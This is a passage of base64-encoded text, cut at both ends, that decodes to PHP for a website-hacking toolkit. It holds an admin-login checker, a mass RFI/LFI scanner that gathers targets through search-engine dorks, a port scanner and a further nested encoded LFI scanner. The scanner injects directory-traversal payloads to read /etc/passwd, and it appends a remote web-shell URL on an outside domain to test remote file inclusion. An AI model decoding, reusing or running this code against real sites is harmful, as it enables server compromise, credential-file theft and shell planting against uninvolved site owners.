hc3N3b3JkJnN1Ym1pdD1Mb2dpbiIpOw0KICAgICANCiAgICAkYSA9IGN1cmxfZXhlYygkY3VybCk7DQogICAgIA0KICAgIGlmKHByZWdfbWF0Y2goIi9hZG1pbiBMb2dvdXQvIiwkYSkpew0KICAgICANCiAgICAgICAgICBlY2hvICc8Y2VudGVyPjxhIGhyZWY9IicuJHNpdGUuJyI+Jy4kc2l0ZS4nPC9hPjwvY2VudGVyPic7DQogICAgb2JfZmx1c2goKTsNCiAgICBmbHVzaCgpOw0KICAgICANCiAgICB9DQogICAgfQ0KICAgIH0NCiAgICA/Pg0KICAgIDw/DQogICAgICAgIH0NCiAgICAgICAgaWYoICRyZWQgPT0gInJmaWxmaSIgKSB7DQogICAgPz4NCiAgICA8P3BocA0KICAgICMgTWFzcyBSRkkvTEZJIFNjYW5uZXIgTkVXIC0gKFN0YXJ0cGFnaW5hW0dPT0dMRV0pDQogICAgIyBDb2RlZCBieSBNaXlhQ2h1bmcNCiAgICAjIE1peWFDaHVuZ0Bob3RtYWlsLmNvbQ0KICAgICMgMTkuMTEuMjAxMA0KICAgICMgSSBMb3ZlIFlvdSBHb29nbGUNCiAgICBvYl9zdGFydCgpOw0KICAgIHNldF90aW1lX2xpbWl0KDApOw0KICAgICANCiAgICBlY2hvICc8Y2VudGVyPjx0aXRsZT5NYXNzIFJGSS9MRkkgU2Nhbm5lciBORVcgLSBTdGFydHBhZ2luYSBbTWl5YUNodW5nXTwvdGl0bGU+DQogICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IiI+DQogICAgPHRleHRhcmVhIG5hbWU9ImRvcmsiIGNvbHM9IjM1IiByb3dzPSI1Ij48L3RleHRhcmVhPjxicj4NCiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzY2FuIiB2YWx1ZT0iU2NhbiI+DQogICAgPC9mb3JtPg0KICAgIDwvY2VudGVyPic7DQogICAgIA0KICAgIGlmKCEgJF9QT1NUWydkb3JrJ109PSIiKXsNCiAgICBmdW5jdGlvbiBnb29nbGUoJGRvcmssJHBhZ2Upew0KICAgICRjdXJsID0gY3VybF9pbml0KCk7DQogICAgY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCiAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1VSTCwnaHR0cDovL3N0YXJ0Z29vZ2xlLnN0YXJ0cGFnaW5hLm5sLz9xPScuJGRvcmsuJyZzdGFydD0nLiRwYWdlLicmc291cmNlPXdlYicpOw0KICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfVVNFUkFHRU5ULCdNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luZG93cyBOVCA1LjE7IHRyOyBydjoxLjkuMi4xMikgR2Vja28vMjAxMDEwMjYgRmlyZWZveC8zLjYuMTIgKCAuTkVUIENMUiAzLjUuMzA3Mjk7IC5ORVQ0LjBFKScpOw0KICAgICRleGVjPWN1cmxfZXhlYygkY3VybCk7DQogICAgY3VybF9jbG9zZSgkY3VybCk7DQogICAgcmV0dXJuICRleGVjOw0KICAgIH0NCiAgICBmb3IoJGlkPTEgOyAgJGlkPD0zMDsgICAkaWQrKyl7DQogICAgJHBhZ2U9JGlkKjEwOw0KICAgICANCiAgICAkZ29naWw9ZXhwbG9kZSgiXG4iLCRfUE9TVFsnZG9yayddKTsNCiAgICBmb3JlYWNoKCRnb2dpbCBhcyAkZ29nbyl7DQogICAgJGdvZ289dHJpbSgkZ29nbyk7DQogICAgJGdvb2dsZSA9IGdvb2dsZSgkZ29nbywkcGFnZSk7DQogICAgJHJlZyAgID0gJyM8Zm9udCBjb2xvcj0iXCMwMDgwMDAiXD4oLio/KTwvZm9udD4jc2knOw0KICAgIHByZWdfbWF0Y2hfYWxsKCRyZWcsJGdvb2dsZSwkY2lrdGkpOw0KICAgICANCiAgICBmb3JlYWNoKCRjaWt0aVswXSBhcyAkc2l0ZSl7DQogICAgJHNpdGU9dHJpbSgkc2l0ZSk7DQogICAgJHNpdGU9ZXhwbG9kZSgiLSIsJHNpdGUpOw0KICAgICRzaXRlPWV4cGxvZGUoIj0iLCRzaXRlWzBdKTsNCiAgICAkc2l0ZT1lcmVnX3JlcGxhY2UoJyIjMDA4MDAwIj4nLCcnLCRzaXRlWzFdKTsNCiAgICAkc2l0ZT0kc2l0ZS4iPSI7DQogICAgZWNobyAnPGNlbnRlcj48Yj5TY2FubmluZyBVUkwgOiAnLiRzaXRlLic8L2I+PC9jZW50ZXI+JzsNCiAgICBvYl9mbHVzaCgpOw0KICAgIGZsdXNoKCk7DQogICAgIA0KICAgIC8vTEZJIDEgU2Nhbg0KICAgICRiYWcxPSRzaXRlLiIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGFzc3dkIjsNCiAgICAkY2gxPWN1cmxfaW5pdCgpOw0KICAgIGN1cmxfc2V0b3B0KCRjaDEsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCiAgICBjdXJsX3NldG9wdCgkY2gxLENVUkxPUFRfVVJMLCRiYWcxKTsNCiAgICBjdXJsX3NldG9wdCgkY2gxLENVUkxPUFRfVVNFUkFHRU5ULCdNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luZG93cyBOVCA1LjE7IHRyOyBydjoxLjkuMi4xMikgR2Vja28vMjAxMDEwMjYgRmlyZWZveC8zLjYuMTIgKCAuTkVUIENMUiAzLjUuMzA3Mjk7IC5ORVQ0LjBFKScpOw0KICAgIGN1cmxfc2V0b3B0KCRjaDEsQ1VSTE9QVF9USU1FT1VULCc1Jyk7DQogICAgJGV4MT1jdXJsX2V4ZWMoJGNoMSk7DQogICAgaWYoZXJlZ2koJ3Jvb3Q6eDonLCRleDEpKXsNCiAgICAgDQogICAgZWNobyAnPGNlbnRlcj48Yj48Zm9udCBjb2xvcj0icmVkIj5MRkkgRm91bmQgOiA8YSBocmVmPSInLiRiYWcxLiciPicuJGJhZzEuJzwvYT48L2I+PC9mb250PjwvY2VudGVyPic7DQogICAgb2JfZmx1c2goKTsNCiAgICBmbHVzaCgpOw0KICAgIH0NCiAgICAvL0xGSSAyIFNjYW4NCiAgICAkYmFnMj0kc2l0ZS4iLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMCI7DQogICAgJGNoMj1jdXJsX2luaXQoKTsNCiAgICBjdXJsX3NldG9wdCgkY2gyLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7DQogICAgY3VybF9zZXRvcHQoJGNoMixDVVJMT1BUX1VSTCwkYmFnMik7DQogICAgY3VybF9zZXRvcHQoJGNoMixDVVJMT1BUX1VTRVJBR0VOVCwnTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyB0cjsgcnY6MS45LjIuMTIpIEdlY2tvLzIwMTAxMDI2IEZpcmVmb3gvMy42LjEyICggLk5FVCBDTFIgMy41LjMwNzI5OyAuTkVUNC4wRSknKTsNCiAgICBjdXJsX3NldG9wdCgkY2gyLENVUkxPUFRfVElNRU9VVCwnNScpOw0KICAgICRleDI9Y3VybF9leGVjKCRjaDIpOw0KICAgIGlmKGVyZWdpKCdyb290Ong6JywkZXgyKSl7DQogICAgZWNobyAnPGNlbnRlcj48Yj48Zm9udCBjb2xvcj0icmVkIj5MRkkgRm91bmQgOiA8YSBocmVmPSInLiRiYWcyLiciPicuJGJhZzIuJzwvYT48L2I+PC9mb250PjwvY2VudGVyPic7DQogICAgb2JfZmx1c2goKTsNCiAgICBmbHVzaCgpOw0KICAgIH0NCiAgICAvL1JGSSBTY2FuDQogICAgJGJhZzM9JHNpdGUuJ2h0dHA6Ly93d3cudGl0YW5hdmlhdGlvbi5jby5pbi9wcmVzcy9sLnBocD8nOyAvLyBZT1VSIFNIRUxMDQogICAgJGNoMz1jdXJsX2luaXQoKTsNCiAgICBjdXJsX3NldG9wdCgkY2gzLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7DQogICAgY3VybF9zZXRvcHQoJGNoMyxDVVJMT1BUX1VSTCwkYmFnMyk7DQogICAgY3VybF9zZXRvcHQoJGNoMyxDVVJMT1BUX1VTRVJBR0VOVCwnTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyB0cjsgcnY6MS45LjIuMTIpIEdlY2tvLzIwMTAxMDI2IEZpcmVmb3gvMy42LjEyICggLk5FVCBDTFIgMy41LjMwNzI5OyAuTkVUNC4wRSknKTsNCiAgICBjdXJsX3NldG9wdCgkY2gzLENVUkxPUFRfVElNRU9VVCwnNScpOw0KICAgICRleDM9Y3VybF9leGVjKCRjaDMpOw0KICAgIGlmKGVyZWdpKCd1bmFtZScsJGV4Mykpew0KICAgIGVjaG8gJzxjZW50ZXI+PGI+PGZvbnQgY29sb3I9ImJsdWUiPlJGSSBGb3VuZCA6IDxhIGhyZWY9IicuJGJhZzMuJyI+Jy4kYmFnMy4nPC9hPjwvYj48L2ZvbnQ+PC9jZW50ZXI+JzsNCiAgICBvYl9mbHVzaCgpOw0KICAgIGZsdXNoKCk7DQogICAgfQ0KICAgICANCiAgICB9DQogICAgIA0KICAgIH0NCiAgICB9DQogICAgfQ0KICAgID8+DQogICAgPD8NCiAgICAgICAgfQ0KICAgICAgICBpZiggJHJlZCA9PSAicG9ydHMiICkgew0KICAgID8+DQogICAgPCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMDEgVHJhbnNpdGlvbmFsLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL1RSL2h0bWw0L2xvb3NlLmR0ZCI+DQogICAgPGh0bWw+DQogICAgPGhlYWQ+DQogICAgICAgIDxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWlzby04ODU5LTEiPg0KICAgICAgICA8bWV0YSBuYW1lPSJhdXRob3IiIGNvbnRlbnQ9ImlKb28iPg0KICAgICANCiAgICAgICAgPHRpdGxlPlBIUCBQb3J0IFNjYW5uZXIsIENvZGVkIGJ5IGlKb288L3RpdGxlPg0KICAgIDwvaGVhZD4NCiAgICA8IS0tIFBIUCBQb3J0IFNjYW5uZXIgLSBpSm9vIChJbmRvc2VjdXJlLm5ldCkgLS0+DQogICAgPGJvZHk+DQogICAgPGNlbnRlcj48YnI+DQogICAgPGltZyBzcmM9InBocHMucG5nIj48YnI+DQogICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+DQogICAgTWFzdWthbiBOYW1hIHdlYnNpdGUgLyBJUCA6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJpam9vIiB2YWx1ZT0iMC4wLjAuMCI+PC9mb3JtPjxicj4NCiAgICA8Pw0KICAgIGlmKGlzc2V0KCRfUE9TVFsnaWpvbyddKSl7DQogICAgICAgIGVycm9yX3JlcG9ydGluZygwKTsNCiAgICAgICAgJHNpdGUgPSAkX1BPU1RbJ2lqb28nXTsNCiAgICAgICAgJHBvcnQgPSBhcnJheSgyMCwyMSwyMiwyNSw2NSw4MCwzMTI4LDMzNjAsNDg5OSw4MDgwLDg4ODgpOyAkYmF0YXM9Y291bnQoJHBvcnQpOw0KICAgICAgICBlY2hvICI8dGFibGU+IjsNCiAgICAgICAgJGk9MDsNCiAgICAgICAgICAgIHdoaWxlKCRpPCRiYXRhcyl7DQogICAgICAgICAgICAkZnAgPSBmc29ja29wZW4oJHNpdGUsJHBvcnRbJGldLCRlcnJubywkZXJyc3RyLDEwKTsNCiAgICAgICAgICAgICAgICBpZighJGZwKXsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiPHRyPjx0ZD4mYnVsbDsgIi4kcG9ydFskaV0uIiA8L3RkPjx0ZD49PT4gPGZvbnQgY29sb3I9cmVkPjxiPkNhbm5vdDwvYj48L2ZvbnQ+IGNvbm5lY3QgdG8gc2VydmVyPC90ZD48L3RyPiI7fQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dHI+PHRkPiZidWxsOyAiLiRwb3J0WyRpXS4iIDwvdGQ+PHRkPj09PiBDb25uZWN0IHdhcyA8Yj48Zm9udCBjb2xvcj1ncmVlbj5zdWNjZXNzZnVsPC9mb250PjwvYj4gLSBvcGVuIGF0ICIuJHNpdGU7ZmNsb3NlKCRmcCkuIjwvdGQ+PC90cj4iO30NCiAgICAgICAgICAgICAgICAgICAgICAgICRpKys7DQogICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0gICAgDQogICAgICAgIGVjaG8gIjwvdGFibGU+IjsNCiAgICA/Pg0KICAgIDw/DQogICAgICAgIH0NCiAgICAgICAgaWYoICRyZWQgPT0gImRvbWFpbiIgKSB7DQogICAgPz4NCiAgICA8aWZyYW1lIHNyYz0naHR0cDovL2NlbnRyYWxvcHMubmV0L2NvL0RvbWFpbkRvc3NpZXIuYXNweCcgIHdpZHRoPTEwMCUgaGVpZ2h0PTYwMCBpZD0iSTEiIG5hbWU9IklGMSIgPg0KICAgIDw/DQogICAgICAgIH0NCiAgICAgICAgaWYoICRyZWQgPT0gImxmaXByaXYiICkgew0KICAgICANCiAgICA/Pg0KICAgIDw/DQogICAgJGxmaXByaXY4ID0gJ1BFSlBSRmtnVDI1TFpYbFFjbVZ6Y3owaVIyVjBTMlY1UTI5a1pTZ3BPeUlnZEdWNGREMXlaV1FnWW05MGRHOXRUV0Z5WjJsdVBUQWcNCiAgICBZbWREYjJ4dmNqMGpNREF3TURBd0lHeGxablJOWVhKbmFXNDlNQ0IwYjNCTllYSm5hVzQ5TUNCeWFXZG9kRTFoY21kcGJqMHdJRzFoDQogICAgY21kcGJtaGxhV2RvZEQwd0lHMWhjbWRwYm5kcFpIUm9QVEErUEdObGJuUmxjajRLUEdoMGJXdytDanhvWldGa1BnbzhiV1YwWVNCag0KICAgIGIyNTBaVzUwUFNKbWNpSWdhSFIwY0MxbGNYVnBkajBpUTI5dWRHVnVkQzFNWVc1bmRXRm5aU0krQ2p4dFpYUmhJR052Ym5SbGJuUTkNCiAgICBJblJsZUhRdmFIUnRiRHNnWTJoaGNuTmxkRDEzYVc1a2IzZHpMVEV5TlRJaUlHaDBkSEF0WlhGMWFYWTlJa052Ym5SbGJuUXRWSGx3DQogICAgWlNJK0NqeDBhWFJzWlQ0amZpQk1Sa2tnVTJWeWRtVnlJRk5qWVc1dVpYSWdmQ0JDZVNCYklFeGhaM0pwY0dVdFJIb2dYVHd2ZEdsMA0KICAgIGJHVStDanh6ZEhsc1pUNHFleUJtYjI1MExXWmhiV2xzZVRwV1pYSmtZVzVoT3lCbWIyNTBMWE5wZW1VNk1USTdJSFJsZUhRdFpHVmoNCiAgICBiM0poZEdsdmJqcHViMjVsT3lCOUNtbHVjSFYwTENCMFpYaDBZWEpsWVN4elpXeGxZM1FnZXdvZ0lDQWdZbTl5WkdWeU9pQXhjSGdnDQogICAgYzI5c2FXUWdJell5TmpJMk1qc0tmUW84TDNOMGVXeGxQZ284TDJobFlXUStDanhpYjJSNVBnbzhZbkkrUEdKeVBqeGpaVzUwWlhJKw0KICAgIENqeG1iM0p0SUdGamRHbHZiajBpSWlCdFpYUm9iMlE5SWxCUFUxUWlQZ29qZmlCTVJra2dVMlZ5ZG1WeUlGTmpZVzV1WlhJZ2ZDQkMNCiAgICBlU0JiSUV4aFozSnBjR1V0UkhvZ1hUeGljajQ4WW5JK0NrbFFJRG9nUEdsdWNIVjBJSFI1Y0dVOUluUmxlSFFpSUhaaGJIVmxQU0k4DQogICAgUHlCbFkyaHZJQ2drWDFCUFUxUmJKMmx3SjEwcElEOGdKRjlRVDFOVVd5ZHBjQ2RkT2lJaU96OCtJaUJ1WVcxbFBTSnBjQ0krQ2p4eg0KICAgIFpXeGxZM1FnYzJsNlpUMGlNU0lnYm1GdFpUMGlkMmgwSWo0OGIzQjBhVzl1UGk1d2FIQS9jR0ZuWlQwOEwyOXdkR2x2Ymo0OGIzQjANCiAgICBhVzl1UGk1d2FIQS9LQzRxS1QwOEwyOXdkR2x2Ymo0OEwzTmxiR1ZqZEQ0S0NUeHBibkIxZENCMGVYQmxQU0p6ZFdKdGFYUWlJRzVoDQogICAgYldVOUluTjBZWEowSWlCMllXeDFaVDBpVTNSaGNuUWdVMk5oYmlBdUxpSStDZ2s4TDJadmNtMCtDZ2s4YUhJZ2QybGtkR2c5SWpJMw0KICAgIEpTSStDancvQ2tCelpYUmZkR2x0WlY5c2FXMXBkQ2d3S1RzS0Nnb0tKSE4wWVhKMElEMGdibVYzSUhOelgySnBibWNvS1RzS0NncHANCiAgICBaaWdrWDFCUFUxUXBld29LWldOb2J5QW9JV05vWldOcmFYQW9KRjlRVDFOVVd5ZHBjQ2RkS1NrZ1B5QWlQR0krWlhKeWIzSTZPa2xRDQogICAgSUdseklHbHVkbUZzYVdROEwySStQR2h5SUhkcFpIUm9QVEkzSlQ0aU9pSWlPd3BsWTJodklDZ2haWGgwWlc1emFXOXVYMnh2WVdSbA0KICAgIFpDZ2lZM1Z5YkNJcEtTQS9JQ0k4WWo1bGNuSnZjam82WTFWU1RDQmxlSFJsYm5OcGIyNGdjbVZ4ZFdseVpXUThMMkkrUEdoeUlIZHANCiAgICBaSFJvUFRJM0pUNGlPaUlpT3dvS2FXWW9ZMmhsWTJ0cGNDZ2tYMUJQVTFSYkoybHdKMTBwSUNZbUlHVjRkR1Z1YzJsdmJsOXNiMkZrDQogICAgWldRb0ltTjFjbXdpS1NsN0Nnb2tkWEpzY3lBOUlDUnpkR0Z5ZEMwK2MyVmhjbU5vS0NKcGNEb2lMaVJmVUU5VFZGc25hWEFuWFM0aQ0KICAgIElDSXVKRjlRVDFOVVd5ZDNhSFFuWFN3d0tUc0tDbVZqYUc4Z0lqeDBZV0pzWlNCaWIzSmtaWEk5SnpBbklHRnNhV2R1UFdObGJuUmwNCiAgICBjajRLUEhSeVBqeDBaQ0JoYkdsbmJqMWpaVzUwWlhJK1BHSStPam9nVTJOaGJpQlRkR0Z5ZENBNk9qd3ZZajQ4TDNSa1Bqd3ZkSEkrDQogICAgSWpzS0NtbG1LQ1JmVUU5VFZGc25kMmgwSjEwZ1BUMGdKeTV3YUhBL0tDNHFLVDBuS1hzS1ptOXlaV0ZqYUNna2RYSnNjeUJoY3lBaw0KICAgIGRYSnNLWHRwWmlobGNtVm5hU2dpUFNJc0lDUjFjbXdwSUNZbUlDRmxjbVZuYVNnaWIzQjBhVzl1UFdOdmJWOGlMQ1IxY213cEtYc2sNCiAgICBibVYzWDNWeWJITmJYVDBrZFhKc08zMTlDblZ1YzJWMEtDUjFjbXh6S1RzZ0pIVnliSE1nUFNBa2JtVjNYM1Z5YkhNN0NuMEtDbVp2DQogICAgY21WaFkyZ29KSFZ5YkhNZ1lYTWdKSFZ5YkNsN0NncGxZMmh2SUNJOGRISStQSFJrUGlJN0NpUjBjM1FnUFNCc1pta29KSFZ5YkNrNw0KICAgIENtVmphRzhnS0NSMGMzUXBJRDhnSWlNZ1JtOTFibVFnT2lBaUxtTnZiRzl5S0NSMGMzUXNNU2s2SWlNZ1RtOTBJRVp2ZFc1a0lEb2cNCiAgICBJaTVqYjJ4dmNpZ2tkWEpzTERBcE93cGxZMmh2SUNJOEwzUmtQand2ZEhJK0lqc0tabXgxYzJnb0tUdG1iSFZ6YUNncE93b0tmUXBsDQogICAgWTJodklDSUtQSFJ5UGp4MFpDQmhiR2xuYmoxalpXNTBaWEkrUEdJK09qb2dVMk5oYmlCR2FXNXBjMmhsWkNBNk9qd3ZZajQ4TDNSaw0KICAgIFBqd3ZkSEkrQ2p3dmRHRmliR1UrQ2p4b2NpQjNhV1IwYUQweU55VStDaUk3Q2dwOWZRcHpZMkZ1S0NrN0NncG1kVzVqZEdsdmJpQmoNCiAgICBiMnh2Y2lna2RYSnNMQ1J0TUdSbEtYc0tJQ0J5WlhSMWNtNGdLQ1J0TUdSbElEMDlJREFwSUQ4Z0lqeG1iMjUwSUdOdmJHOXlQWEpsDQogICAgWkQ0a2RYSnNQQzltYjI1MFBpSTZJanhoSUdoeVpXWTlKSFZ5YkQ0OFptOXVkQ0JqYjJ4dmNqMW5jbVZsYmo0a2RYSnNQQzltYjI1MA0KICAgIFBqd3ZZVDRpT3dwOUNncG1kVzVqZEdsdmJpQnNabWtvSkhOcGRHVXBleUFLSkhOcGRHVWdQU0JmUm1sNEtDUnphWFJsS1RzS0pHMWgNCiAgICBjbXR6SUQwZ0ltWmhhV3hsWkNCMGJ5QnZjR1Z1SUhOMGNtVmhiWHhrWVdWdGIyNGlPd3BwWmlod2NtVm5YMjFoZEdOb0tDSXZKRzFoDQogICAgY210ekwya2lMR1I2WTNWeWJDZ2tjMmwwWlM0bkwyVjBZeTh2Y0dGemMzZGtKVEF3Snl3d0xEQXNNQ2twS1hzS2NtVjBkWEp1SUNSeg0KICAgIGFYUmxMaWN2WlhSakx5OXdZWE56ZDJRbE1EQW5Pd3A5Wld4elpYc0tjbVYwZFhKdUlIQnlaV2RmYldGMFkyZ29JaThrYldGeWEzTXYNCiAgICBhU0lzWkhwamRYSnNLQ1J6YVhSbExpZGZYMlI2WDE4bkxEQXNNQ3d3S1NrZ1B5QWtjMmwwWlM0blgxOWtlbDlmSnpwbVlXeHpaVHNLDQogICAgZlNBS2ZRb0tablZ1WTNScGIyNGdYMFpwZUNna2MybDBaU2w3SUhCeVpXZGZiV0YwWTJoZllXeHNLQ0lqS0M0cVB5ay9LQzRxUHlrOQ0KICAgIEtDNHFQeWtqSWl3a2MybDBaU3drY21WektUc2djbVYwZFhKdUlDUnlaWE5iTWwxYk1GMHVJajBpT3lCOUNncG1kVzVqZEdsdmJpQnoNCiAgICBZMkZ1S0NsN0tFQmpiM1Z1ZENoQVpYaHdiRzlrWlNnbmFYQW5MRUJwYlhCc2IyUmxLRUJtYVd4bEtGOWZSa2xNUlY5ZktTa3BLU0U5DQogICAgSURFNEtTQS9RSFZ1YkdsdWF5aGZYMFpKVEVWZlh5azZJaUk3ZlFvS1puVnVZM1JwYjI0Z1kyaGxZMnRwY0Nna2FYQXBld3B5WlhSMQ0KICAgIGNtNG9jSEpsWjE5dFlYUmphQ2dpTDF4a2V6RXNNMzFjTGx4a2V6RXNNMzFjTGx4a2V6RXNNMzFjTGx4a2V6RXNNMzB2SWl3Z0pHbHcNCiAgICBLVDA5TUNrZ1B5Qm1ZV3h6WlRwMGNuVmxPd3A5Q2dvaklHTjFjbXdnYjNCMGFXOXVjd29LWm5WdVkzUnBiMjRnUkhwRFZWSk1LQ1IxDQogICAgY213c0pHTnZiMnRwWlY5eVpXRmtMQ1JqYjI5cmFXVmZkM0pwZEdVc0pGQlBVMVJ6S1hzS0NpUmpkWEpzUFdOMWNteGZhVzVwZENncA0KICAgIE93cGpkWEpzWDNObGRHOXdkQ2drWTNWeWJDeERWVkpNVDFCVVgxSkZWRlZTVGxSU1FVNVRSa1ZTTERFcE93cGpkWEpzWDNObGRHOXcNCiAgICBkQ2drWTNWeWJDeERWVkpNVDFCVVgxVlNUQ3drZFhKc0tUc0tLQ1JqYjI5cmFXVmZjbVZoWkNrZ1B5QmpkWEpzWDNObGRHOXdkQ2drDQogICAgWTNWeWJDeERWVkpNVDFCVVgwTlBUMHRKUlVaSlRFVXNaMlYwWTNka0tDa3VKeTlqYjI5cmFXVXVkSGgwSnlrNklpSTdDaWdrWTI5dg0KICAgIGEybGxYM2R5YVhSbEtTQS9JR04xY214ZmMyVjBiM0IwS0NSamRYSnNMRU5WVWt4UFVGUmZRMDlQUzBsRlNrRlNMR2RsZEdOM1pDZ3ANCiAgICBMaWN2WTI5dmEybGxMblI0ZENjcE9pSWlPd3BqZFhKc1gzTmxkRzl3ZENna1kzVnliQ3hEVlZKTVQxQlVYMVZUUlZKQlIwVk9WQ3duDQogICAgVFc5NmFXeHNZUzgxTGpBZ0tGZHBibVJ2ZDNNZ1RsUWdOUzR4T3lCeWRqb3lMakF1TVNrZ1IyVmphMjh2TWpBeE1EQXhNREVnUm1seQ0KICAgIFpXWnZlQzgwTGpBdU1TQkVla05WVWt3Z1BTa25LVHNLWTNWeWJGOXpaWFJ2Y0hRb0pHTjFjbXdzUTFWU1RFOVFWRjlHVDB4TVQxZE0NCiAgICBUME5CVkVsUFRpd3hLVHNLYVdZb2FYTmZZWEp5WVhrb0pGQlBVMVJ6S1NsN0NtTjFjbXhmYzJWMGIzQjBLQ1JqZFhKc0xFTlZVa3hQDQogICAgVUZSZlVFOVRWQ3d4S1RzS1kzVnliRjl6WlhSdmNIUW9KR04xY213c1ExVlNURTlRVkY5UVQxTlVSa2xGVEVSVExDUlFUMU5VY3lrNw0KICAgIENuMEtZM1Z5YkY5elpYUnZjSFFvSkdOMWNtd3NRMVZTVEU5UVZGOVVTVTFGVDFWVUxEVXBPd29LSkdWNFpXTTlZM1Z5YkY5bGVHVmoNCiAgICBLQ1JqZFhKc0tUc0tZM1Z5YkY5amJHOXpaU2drWTNWeWJDazdDbkpsZEhWeWJpQWtaWGhsWXpzS2ZRb0tJeUJpYVc1bklHTnNZWE56DQogICAgSUN3c0NncGpiR0Z6Y3lCemMxOWlhVzVuZXdvZ0lBb2dJSEIxWW14cFl5Qm1kVzVqZEdsdmJpQnpaV0Z5WTJnb0pIZG9kQ3drZFhKcw0KICAgIFgyMXZaR1VwZXlBdkx5QWtkMmgwSUQwZ1BpQnpaV0Z5WTJnZ0lDd2dKSFZ5YkY5dGIyUmxQVEVnUFQ0Z1kyeGxZVzRnZFhKc0lDaG8NCiAgICBkSFJ3T2k4dmMybDBaUzUwYkdRdktTQWtkWEpzWDIxdlpHVTlNQ0E5UGlCdWIzUWdZMnhsWVc0Z0tHaDBkSEE2THk5emFYUmxMblJrDQogICAgYkM5d1lXZGxQV2R2YjJkc1pTa0tJQ0FLSUNBa2QyaDBJRDBnYzNSeVgzSmxjR3hoWTJVb0lpQWlMQ0lySWl3a2QyaDBLVHNLSUNBaw0KICAgIGJuQmhaMlZ6SUQwZ05UQXdNREE3Q2lBZ0pHNXdZV2RsSUQwZ01Uc0tJQ0FrWVd4c1RHbHVhM01nUFNCaGNuSmhlU2dwT3dvS0lDQjMNCiAgICBhR2xzWlNna2JuQmhaMlVnUEQwZ0pHNXdZV2RsY3lrZ0NpQWdleUFLQ1NSamFDQTlJR04xY214ZmFXNXBkQ2dwT3dvZ0lDQWdZM1Z5DQogICAgYkY5elpYUnZjSFFvSkdOb0xDQkRWVkpNVDFCVVgxVlNUQ3dnSjJoMGRIQTZMeTkzZDNjdVltbHVaeTVqYjIwdmMyVmhjbU5vUDNFOQ0KICAgIEp5NGtkMmgwTGljbVptbHljM1E5Snk0a2JuQmhaMlVwT3dvSlkzVnliRjl6WlhSdmNIUW9KR05vTENCRFZWSk1UMUJVWDBoRlFVUkYNCiAgICBVaXdnTVNrN0NnbGpkWEpzWDNObGRHOXdkQ2drWTJnc0lFTlZVa3hQVUZSZlVrVlVWVkpPVkZKQlRsTkdSVklzSURFcE93b0pZM1Z5DQogICAgYkY5elpYUnZjSFFvSkdOb0xDQkRWVkpNVDFCVVgwTlBUazVGUTFSVVNVMUZUMVZVTENBMUtUc0tDV04xY214ZmMyVjBiM0IwS0NSag0KICAgIGFDd2dRMVZTVEU5UVZGOVNSVVpGVWtWU0xDQW5hSFIwY0RvdkwzZDNkeTVpYVc1bkxtTnZiUzhuS1RzS0NXTjFjbXhmYzJWMGIzQjANCiAgICBLQ1JqYUN3Z1ExVlNURTlRVkY5VlUwVlNRVWRGVGxRc0lDZE5iM3BwYkd4aEx6VXVNQ0FvVjJsdVpHOTNjenNnVlRzZ1YybHVaRzkzDQogICAgY3lCT1ZDQTFMakU3SUdWdUxWVlRPeUJ5ZGpveExqa3VNQzQ0S1NCSFpXTnJieTh5TURBNU1ETXlOakE1SUVacGNtVm1iM2d2TXk0dw0KICAgIExqZ25LVHNLQ1NSeVpYTjFiSFJiSjBWWVJTZGRJRDBnWTNWeWJGOWxlR1ZqS0NSamFDazdDZ2trY21WemRXeDBXeWRGVWxJblhTQTkNCiAgICBJR04xY214ZlpYSnliM0lvSkdOb0tUc0tDV04xY214ZlkyeHZjMlVvSkdOb0tUc0tJQW9KYVdZZ0tDRWtjbVZ6ZFd4MFd5ZEZVbEluDQogICAgWFNrS0NYc0tDUWx3Y21WblgyMWhkR05vWDJGc2JDZ25LRHhrYVhZZ1kyeGhjM005SW5OaVgzUnNjM1FpUGk0cVBHZ3pQaTRxUEdFZw0KICAgIGFISmxaajBpS0M0cUtTSXVLajRvTGlvcFBDOWhQaTRxUEM5b016NHVLand2WkdsMlBpbHphVlVuTENBa2NtVnpkV3gwV3lkRldFVW4NCiAgICBYU3dnSkdacGJtUnNhVzVyS1RzS0NRa0tDUWxtYjNJZ0tDUnBJRDBnTURzZ0pHa2dQQ0JqYjNWdWRDZ2tabWx1Wkd4cGJtdGJNVjBwDQogICAgT3lBa2FTc3JLUW9KQ1FvSkNTUnRiMlJsSUQwZ0tDUjFjbXhmYlc5a1pTQTlQU0F4S1NBL0lDUmhiR3hNYVc1cmMxdGRJRDBnSkhSb